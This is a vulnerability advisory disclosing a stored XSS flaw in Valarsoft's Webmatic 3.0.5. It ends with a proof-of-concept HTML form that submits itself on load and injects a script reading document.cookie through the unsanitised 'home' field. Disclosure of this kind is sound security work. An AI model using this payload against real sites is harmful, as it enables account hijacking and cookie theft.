Vulnerability ID: HTB22568 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_webmatic.html Product: Webmatic Vendor: Valarsoft ( http://www.valarsoft.com/ ) Vulnerable Version: 3.0.5 and Probably Prior Versions Vendor Notification: 09 August 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the content preferences editing script to properly sanitize user-supplied input in "home" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php"; method="post" name="main" > <input type="hidden" name="browser_bar_title" value="Webmatic" /> <input type="hidden" name="title" value="Welcome to Webmatic" /> <input type="hidden" name="special_user_label" value="Special user" /> <input type="hidden" name="staff_name" value="Webmatic editorial staff" /> <input type="hidden" name="home" value='Webmatic its2"><script>alert(document.cookie)</script>' /> <input type="hidden" name="foot" value="" /> <input type="hidden" name="signalation_email_subject" value="Subject" /> <input type="hidden" name="signalation_email_text" value="text" /> <input type="hidden" name="user_registration_email_subject" value="Subject" /> <input type="hidden" name="user_registration_email_text" value="text" /> <input type="hidden" name="send" value="Save" /> <input type="hidden" name="languageID" value="1" /> <input type="hidden" name="stage" value="2" /> <input type="hidden" name="section" value="21" /> <input type="hidden" name="action" value="578" /> </form> <script> document.main.submit(); </script>
